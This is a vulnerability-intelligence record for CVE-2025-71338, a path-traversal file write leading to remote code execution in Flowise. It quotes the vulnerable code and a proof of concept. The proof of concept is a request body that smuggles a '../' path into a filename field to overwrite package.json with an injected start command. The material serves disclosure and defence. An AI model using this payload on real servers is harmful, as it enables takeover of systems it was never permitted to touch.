KEVWire

Security intelligence, with context.

Response snapshot Nov 3, 2026, 19:21 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-71338

Flowise allows arbitrary file write to RCE

An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API. An attacker can reach RCE(Remote Code Execution) via file writing. All file writing functions in [packages/components/src/storageUtils.ts](https://github.

At a glance

Exploited
Not known
Severity
10.0 Critical (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.

Read GitHub-reviewed advisory GHSA-8vvx-qvq9-5948 (opens a new tab)

What happened

Summary

An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API. An attacker can reach RCE(Remote Code Execution) via file writing.

Details

All file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable. - addBase64FilesToStorage - addArrayFilesToStorage - addSingleFileToStorage

Continue reading

The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.

const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)

Therefore, users can move to the parent folder via ../ and write files to any path.

Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.

In PoC (Proof of Concept), RCE was reached by overwriting package.json.

PoC

In PoC, package.json is overwritten. This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.

- original start command

"start": "run-script-os",

`

- modify start command

"start": "touch /tmp/pyozzi-poc && run-script-os",

`

When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.

1. package.json content base64 encoding

{
 "name": "flowise",
 "version": "1.8.2",
 "private": true,
 "homepage": "https://flowiseai.com",
 "workspaces": [
 "packages/*",
 "flowise",
 "ui",
 "components"
 ],
 "scripts": {
 "build": "turbo run build && echo poc",
 "build-force": "pnpm clean && turbo run build --force",
 "dev": "turbo run dev --parallel",
 "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
 "start:windows": "cd packages/server/bin && run start",
 "start:default": "cd packages/server/bin && ./run start",
 "clean": "pnpm --filter \"./packages/**\" clean",
 "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
 "format": "prettier --write \"**/*.{ts,tsx,md}\"",
 "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
 "lint-fix": "pnpm lint --fix",
 "quick": "pretty-quick --staged",
 "postinstall": "husky install",
 "migration:create": "pnpm typeorm migration:create"
 }, ... skip

2. Overwrite package.json via /api/v1/document-store/loader/process

> Request Body

{
 "loaderId": "textFile",
 "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
 "loaderName": "Text File",
 "loaderConfig": {
 "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
 "textSplitter": "",
 "metadata": "",
 "omitMetadataKeys": ""
 }
}

The part after filename: of the txtFile parameter is the value used as fileName in the function. Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.

Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)

- starting server with touch /tmp/pyozzi-poc command

- /tmp/pyozzi-poc file created

Impact

Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.

Affected package ranges reported by GitHub: flowise: <= 2.2.7

Scores and how they were measured

CVSS base severity

10.0

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-8vvx-qvq9-5948 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-8vvx-qvq9-5948, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Flowise allows arbitrary file write to RCE (CVE-2025-71338). https://kevwire.com/record/CVE-2025-71338

MLA

"Flowise allows arbitrary file write to RCE (CVE-2025-71338)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2025-71338.

Chicago

KEVWire. "Flowise allows arbitrary file write to RCE (CVE-2025-71338)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2025-71338.

Evidence summary (plain text)

Flowise allows arbitrary file write to RCE (Mar 14, 2025).
An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.

All file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.
- addBase64FilesToStorage
- addArrayFilesToStorage
- addSingleFileToStorage

The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
CVSS 10.0 (version 4.0; evidence as of Nov 3, 2026; https://github.com/advisories/GHSA-8vvx-qvq9-5948).
Sources:
GitHub-reviewed advisory GHSA-8vvx-qvq9-5948: https://github.com/advisories/GHSA-8vvx-qvq9-5948
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-71338.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 19:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail